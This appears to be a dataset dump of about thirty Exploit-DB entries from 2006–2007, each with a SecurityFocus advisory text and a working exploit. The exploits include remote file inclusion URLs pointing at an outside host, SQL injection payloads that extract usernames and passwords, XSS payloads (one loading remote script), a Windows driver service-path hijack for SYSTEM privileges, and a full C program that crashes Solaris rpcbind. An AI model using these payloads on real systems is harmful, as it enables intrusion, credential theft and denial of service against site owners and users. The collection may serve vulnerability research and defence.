QLWD/code_shield huggingface dataset:
标题: Magic Photo Storage Website - '/admin/add_welcome_text.php?_config[site_path]' Remote File Inclusion EDB-ID: 29408 CVE: 2007-0182 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/21965/info
 
Magic Photo Storage Website is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/path/admin/add_welcome_text.php?_config[site_path]=http://www.example2.com URL: https://www.exploit-db.com/exploits/29408
标题: Magic Photo Storage Website - '/admin/admin_email.php?_config[site_path]' Remote File Inclusion EDB-ID: 29409 CVE: 2007-0182 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/21965/info
  
Magic Photo Storage Website is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
  
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/path/admin/admin_email.php?_config[site_path]=http://www.example2.com URL: https://www.exploit-db.com/exploits/29409
标题: CreateAuction - 'Cats.asp' SQL Injection EDB-ID: 29401 CVE: 2007-0112 类型: WEBAPPS 平台: ASP 发布日期: 2007-01-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/21929/info

Createauction is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

http://www.example.com/[path]/cats.asp?catid=1%20%20and%201=convert(int,(select%20top%201%20username%2b'/'%2bpassword%20from%20users))--sp_password URL: https://www.exploit-db.com/exploits/29401
标题: Magic Photo Storage Website - '/admin/admin_password.php?_config[site_path]' Remote File Inclusion EDB-ID: 29407 CVE: 2007-0182 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/21965/info

Magic Photo Storage Website is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/path/admin/admin_password.php?_config[site_path]=http://www.example2.com URL: https://www.exploit-db.com/exploits/29407
标题: Shopstorenow E-Commerce Shopping Cart - 'Orange.asp' SQL Injection EDB-ID: 29398 CVE: 2007-0142 类型: WEBAPPS 平台: ASP 发布日期: 2007-01-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/21905/info

Shopstorenow E-commerce Shopping Cart is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/orange.asp?CatID=1'%20and%201=convert(int,(select%20top%201%20table_name%20from%20information_schema.tables))--sp_password URL: https://www.exploit-db.com/exploits/29398
标题: PHPKit 1.6.1 - 'comment.php' SQL Injection EDB-ID: 29405 CVE: 2007-0179 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/21962/info

PHPKIT is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

PHPKIT 1.6.1 R2 and prior versions are vulnerable to this issue.

http://www.example.com/comment.php&comcat=gb&subid=-1'%20UNION%20SELECT%201,1,1,1,1,1,user_pw,1%20from%20PHPKIT_USER_TABLE%20where%20%20user_id=1/* URL: https://www.exploit-db.com/exploits/29405
标题: Novell Access Manager 3 Identity Server - 'IssueInstant' Cross-Site Scripting EDB-ID: 29400 CVE: 2007-0110 类型: REMOTE 平台: NOVELL 发布日期: 2007-01-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/21921/info

Access Manager Identity Server is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

GET /nidp/idff/sso?RequestID=1234&IssueInstant=<SCRIPT>alert("XSS");</SCRIPT> URL: https://www.exploit-db.com/exploits/29400
标题: EditTag 1.2 - 'mkpw.cgi?plain' Cross-Site Scripting EDB-ID: 29396 CVE: 2007-0119 类型: WEBAPPS 平台: CGI 发布日期: 2007-01-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/21891/info
  
EditTag is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. 
  
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
  
http://www.example.com/edittag/mkpw.cgi?plain=XSS URL: https://www.exploit-db.com/exploits/29396
标题: HP (Multiple Products) - PML Driver HPZ12 Privilege Escalation EDB-ID: 29403 CVE: 2007-0161 类型: LOCAL 平台: WINDOWS 发布日期: 2007-01-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/21935/info

Multiple HP products are prone to a local privilege-escalation vulnerability. 

An attacker can exploit this issue to gain SYSTEM-level privileges, completely compromising affected computers. 

This issue affects HP products that use the 'PML Driver HPZ12' driver.

C:\sc config "pml driver hpz12" binpath= D:\attack\attack.exe
C:\sc start "pml driver hpz12" URL: https://www.exploit-db.com/exploits/29403
标题: Packeteer PacketShaper 8.0 - Multiple Buffer Overflow (Denial of Service) (PoC) Vulnerabilities EDB-ID: 29402 CVE: 2007-0113 类型: DOS 平台: HARDWARE 发布日期: 2007-01-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/21933/info

Packeteer PacketShaper is prone to multiple denial-of-service vulnerabilities.

A remote attacker may exploit these issues to cause the device to crash, denying further service to legitimate users.

Packeteer PacketShaper Version 8.0 is vulnerable to these issues; other versions may also be affected.

https://www.example.com/clastree.htm?POLICY=/Inbound/Filesharing/BitTorrent/Ax1500

# class show /Inbound/Ax1500mailto:vuldb@securityfocus.com URL: https://www.exploit-db.com/exploits/29402
标题: Multiple PDF Readers - Multiple Remote Buffer Overflows EDB-ID: 29399 CVE: 2007-0103 类型: DOS 平台: LINUX 发布日期: 2007-01-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/21910/info

Multiple PDF readers are prone to multiple remote buffer-overflow vulnerabilities because the applications fail to bounds-check user-supplied data before copying it into an insufficiently sized buffer. 

An attacker may be able exploit this issue to execute arbitrary code within the context of the affected application. In some circumstances, the vulnerability can be exploited only to cause a denial of service.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/29399.pdf URL: https://www.exploit-db.com/exploits/29399
标题: Sun Solaris 9 - RPC Request Denial of Service EDB-ID: 29406 CVE: 2007-0165 类型: DOS 平台: SOLARIS 发布日期: 2007-01-09 漏洞利用脚本: // source: https://www.securityfocus.com/bid/21964/info

The Solaris operating system is prone to a denial-of-service vulnerability. 

An attacker can exploit this issue to crash the 'rpcbind(1M)' server, denying service to legitimate users.

/*
////////////////////////////////////////////////////////////
// Solaris 9 PortBind XDR-DECODE taddr2uaddr() Remote DoS
////////////////////////////////////////////////////////////
//
// Federico L. Bossi Bonin
// fbossi[at]globalST[dot]com[dot]ar
/////////////////////////////////////////////////////


Program received signal SIGSEGV, Segmentation fault.
0xff29b5f4 in __inet_taddr2uaddr () from /usr/lib/libnsl.so.1
(gdb) backtrace
#0  0xff29b5f4 in __inet_taddr2uaddr () from /usr/lib/libnsl.so.1
#1  0x00013d88 in rpcbproc_taddr2uaddr_com ()
#2  0x000161c0 in rpcb_service_4 ()
(gdb)

*/

#include <string.h>
#include <rpc/rpc.h>

struct xdr {
        long long_arg;
        char *string_arg;
};

typedef struct xdr xdr;
static struct timeval TIMEOUT = { 25, 0 };

bool_t xdr_xdr (XDR *xdrs, xdr *objp) {
        register int32_t *buf;

         if (!xdr_long (xdrs, &objp->long_arg))
                 return FALSE;
         if (!xdr_string (xdrs, &objp->string_arg, 4096))
                 return FALSE;
        return TRUE;
}

char ** str_4(xdr *argp, CLIENT *clnt) {
        static char *clnt_res;

        memset((char *)&clnt_res, 0, sizeof(clnt_res));
        if (clnt_call (clnt, 8,
                (xdrproc_t) xdr_xdr, (caddr_t) argp,
                (xdrproc_t) xdr_wrapstring, (caddr_t) &clnt_res,
                TIMEOUT) != RPC_SUCCESS) {
                return (NULL);
        }
        return (&clnt_res);
}

main(int argc, char *argv[]) {
  CLIENT *c1;
  char *server;
  char **sresult;


  if (argc !=2){
    printf("=============================================================\n");
    printf("Solaris 9 PortBind XDR-DECODE taddr2uaddr() Remote DoS\n");
    printf("-------------------------------------------------------------\n");
    printf("Federico L. Bossi Bonin <fbossi@globalST.com.ar>\n");
    printf("=============================================================\n\n");
    printf("usage: %s <IP>\n",argv[0]);
    exit(1);
  }

  server = argv[1];

if ((c1 = clnt_create(server,100000, 4, "tcp")) == NULL){
       clnt_pcreateerror(server);
    exit(1);
  }

  xdr xdrmessage;
  xdrmessage.long_arg = 0;
  xdrmessage.string_arg="";

  if ((sresult = str_4(&xdrmessage, c1)) == NULL){
   clnt_perror(c1, server);
   exit(1);
  }

  clnt_destroy(c1);
  exit(0);
} URL: https://www.exploit-db.com/exploits/29406
标题: MediaWiki 1.x - 'AJAX index.php' Cross-Site Scripting EDB-ID: 29404 CVE: 2007-0177 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/21956/info

MediaWiki is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

UPDATE: Although a fix was issued to address this issue, attackers may bypass the fix by encoding an exploit in UTF-7.

v1.8.2 and below: http://www.example.com/wiki/index.php?action=ajax&rs=%3Cscript%3Ewindow.open('http://www.example2.com')%3C/script%3E v1.8.3 - v1.9.2 http://www.example.com/wiki/index.php?action=ajax&rs=+ADw-SCRIPT+AD4-window.open('http://www.example2.com');+ADw-/SCRIPT+AD4- http://www.example.com/wiki/index.php?action=ajax&rs=%2B%41%44%77%2D%53%43%52%49%50%54%2B%41%44%34%2D%61%6C%65%72%74%28%27%58%53%53%27%29%3B%2B%41%44%77%2D%2F%53%43%52%49%50%54%2B%41%44%34%2D URL: https://www.exploit-db.com/exploits/29404
标题: EditTag 1.2 - 'edittag_mp.pl?file' Arbitrary File Disclosure EDB-ID: 29393 CVE: 2007-0118 类型: WEBAPPS 平台: CGI 发布日期: 2007-01-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/21890/info
   
EditTag is prone to multiple directory-traversal vulnerabilities because the application fails to sufficiently sanitize user-supplied data.
   
Exploiting these issues may allow a remote attacker to access any file on the affected webserver. 
   
Version 1.2 is vulnerable to this issue; other versions may also be affected.

http://www.example.com/edittag/edittag_mp.pl?file=INJECT URL: https://www.exploit-db.com/exploits/29393
标题: EditTag 1.2 - 'mkpw.pl?plain' Cross-Site Scripting EDB-ID: 29395 CVE: 2007-0119 类型: WEBAPPS 平台: CGI 发布日期: 2007-01-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/21891/info
 
EditTag is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. 
 
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
 
http://www.example.com/edittag/mkpw.pl?plain=XSS URL: https://www.exploit-db.com/exploits/29395
标题: EditTag 1.2 - 'edittag_mp.cgi?file' Arbitrary File Disclosure EDB-ID: 29392 CVE: 2007-0118 类型: WEBAPPS 平台: CGI 发布日期: 2007-01-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/21890/info
  
EditTag is prone to multiple directory-traversal vulnerabilities because the application fails to sufficiently sanitize user-supplied data.
  
Exploiting these issues may allow a remote attacker to access any file on the affected webserver. 
  
Version 1.2 is vulnerable to this issue; other versions may also be affected.

http://www.example.com/edittag/edittag_mp.cgi?file=INJECT URL: https://www.exploit-db.com/exploits/29392
标题: EditTag 1.2 - 'mkpw_mp.cgi?plain' Cross-Site Scripting EDB-ID: 29394 CVE: 2007-0119 类型: WEBAPPS 平台: CGI 发布日期: 2007-01-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/21891/info

EditTag is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/edittag/mkpw_mp.cgi?plain=XSS URL: https://www.exploit-db.com/exploits/29394
标题: RI Blog 1.3 - 'search.asp' Cross-Site Scripting EDB-ID: 29384 CVE: 2007-0121 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/21880/info

RI Blog is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Version 1.3 is vulnerable; other versions may also be affected.

http://www.example.com/BlogPath/search.asp?q=<script>alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/29384
标题: Kolayindir Download - 'down.asp' SQL Injection EDB-ID: 29385 CVE: 2007-0140 类型: WEBAPPS 平台: ASP 发布日期: 2007-01-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/21889/info

Kolayindir Download is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://example.com/ScriptPath/down.asp?id=[SqL] URL: https://www.exploit-db.com/exploits/29385
标题: AShop Deluxe 4.5 - 'editcatalogue.php' Cross-Site Scripting EDB-ID: 29381 CVE: 2007-0056 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/21845/info
    
AShop Deluxe and AShop Administration Panel are prone to multiple cross-site scripting vulnerabilities because they fail to sufficiently sanitize user-supplied input data.
    
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
    
http://www.example.com/cart-path/admin/editcatalogue.php?cat=[XSS] URL: https://www.exploit-db.com/exploits/29381
标题: Adobe Reader 9.1.3 Plugin - Cross-Site Scripting EDB-ID: 29383 CVE: 2007-0044 类型: REMOTE 平台: LINUX 发布日期: 2007-01-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/21858/info

Adobe Reader Plugin is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the visited site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

This issue affects Adobe Reader versions 6 and 7 for Mozilla Firefox, Opera, and Microsoft Internet Explorer. Other versions for other browsers may also be affected.

http://www.example.com/librariancenter/downloads/Tips_Tricks_85x11.pdf#something=javascript:function%20createXMLHttpRequest(){%20%20%20try{%20return%20new%20ActiveXObject('Msxml2.XMLHTTP');%20}catch(e){}%20%20%20try{%20return%20new%20ActiveXObject('Microsoft.XMLHTTP');%20}catch(e){}%20%20%20try{%20return%20new%20XMLHttpRequest();%20}catch(e){}%20%20%20return%20null;}var%20xhr%20=%20createXMLHttpRequest();xhr.onreadystatechange%20=%20function(){%20%20%20%20if%20(xhr.readyState%20==%204)%20%20%20%20%20%20%20%20alert(xhr.responseText);};xhr.open('GET',%20'http://www.google.com',%20true);xhr.send(null); URL: https://www.exploit-db.com/exploits/29383
标题: AShop Deluxe 4.5 - 'search.php' Cross-Site Scripting EDB-ID: 29379 CVE: 2007-0056 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/21845/info
  
AShop Deluxe and AShop Administration Panel are prone to multiple cross-site scripting vulnerabilities because they fail to sufficiently sanitize user-supplied input data.
  
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
  
http://www.example.com/ashop/search.php?searchstring=[XSS] URL: https://www.exploit-db.com/exploits/29379
标题: EditTag 1.2 - 'edittag.cgi?file' Arbitrary File Disclosure EDB-ID: 29390 CVE: 2007-0118 类型: WEBAPPS 平台: CGI 发布日期: 2007-01-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/21890/info

EditTag is prone to multiple directory-traversal vulnerabilities because the application fails to sufficiently sanitize user-supplied data.

Exploiting these issues may allow a remote attacker to access any file on the affected webserver. 

Version 1.2 is vulnerable to this issue; other versions may also be affected.

http://www.example.com/edittag/edittag.cgi?file=INJECT URL: https://www.exploit-db.com/exploits/29390
标题: EditTag 1.2 - 'edittag.pl?file' Arbitrary File Disclosure EDB-ID: 29391 CVE: 2007-0118 类型: WEBAPPS 平台: CGI 发布日期: 2007-01-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/21890/info
 
EditTag is prone to multiple directory-traversal vulnerabilities because the application fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues may allow a remote attacker to access any file on the affected webserver. 
 
Version 1.2 is vulnerable to this issue; other versions may also be affected.

http://www.example.com/edittag/edittag.pl?file=INJECT URL: https://www.exploit-db.com/exploits/29391
标题: AShop Deluxe 4.5 - 'shipping.php' Cross-Site Scripting EDB-ID: 29380 CVE: 2007-0056 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/21845/info
   
AShop Deluxe and AShop Administration Panel are prone to multiple cross-site scripting vulnerabilities because they fail to sufficiently sanitize user-supplied input data.
   
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
   
http://www.example.com/ashop/shipping.php?action=checkout=[XSS]
http://www.example.com/ashop/shipping.php?action=[XSS] URL: https://www.exploit-db.com/exploits/29380
标题: AShop Deluxe 4.5 - 'salesadmin.php' Cross-Site Scripting EDB-ID: 29382 CVE: 2007-0056 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/21845/info
     
AShop Deluxe and AShop Administration Panel are prone to multiple cross-site scripting vulnerabilities because they fail to sufficiently sanitize user-supplied input data.
     
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
     
http://www.example.com/cart-path/admin/salesadmin.php?resultpage=[XSS] URL: https://www.exploit-db.com/exploits/29382
标题: Kerio Personal Firewall 4.3 - 'IPHLPAPI.dll' Local Privilege Escalation EDB-ID: 29374 CVE: 2007-0081 类型: LOCAL 平台: WINDOWS 发布日期: 2007-01-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/21828/info

Kerio Personal Firewall is prone to a local privilege-escalation vulnerability.

A local attacker could exploit this issue to execute arbitrary machine code with SYSTEM-level privileges. A successful exploit could result in the complete compromise of the affected computer.

Versions 4.3.246 and 4.3.268 are vulnerable to this issue; other versions may also be affected.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/29374.zip URL: https://www.exploit-db.com/exploits/29374
标题: Mobilelib Gold - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 29372 CVE: 2006-6851 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/21817/info

Mobilelib GOLD is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Mobilelib GOLD version 2 is vulnerable; other versions may also be affected.

http://www.example.com/[path]/contact_us.php?email=%20%22%3E%3Cscript%20src%3Dhttp%3A//www.example2.com/swt.js%3E%3C/script%3E http://www.example.com/[path]/contact_us.php?errr=%20%22%3E%3Cscript%20src%3Dhttp%3A//www.example2.com/swt.js%3E%3C/script%3E URL: https://www.exploit-db.com/exploits/29372
标题: AShop Deluxe 4.5 - 'basket.php' Cross-Site Scripting EDB-ID: 29378 CVE: 2007-0056 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/21845/info
 
AShop Deluxe and AShop Administration Panel are prone to multiple cross-site scripting vulnerabilities because they fail to sufficiently sanitize user-supplied input data.
 
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
http://www.example.com/ashop/basket.php?cat=[XSS] URL: https://www.exploit-db.com/exploits/29378
标题: AShop Deluxe 4.5 - 'catalogue.php' Cross-Site Scripting EDB-ID: 29377 CVE: 2007-0056 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/21845/info

AShop Deluxe and AShop Administration Panel are prone to multiple cross-site scripting vulnerabilities because they fail to sufficiently sanitize user-supplied input data.

An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

http://www.example.com/ashop/catalogue.php?cat=[XSS]
http://www.example.com/ashop/catalogue.php?exp=[XSS] URL: https://www.exploit-db.com/exploits/29377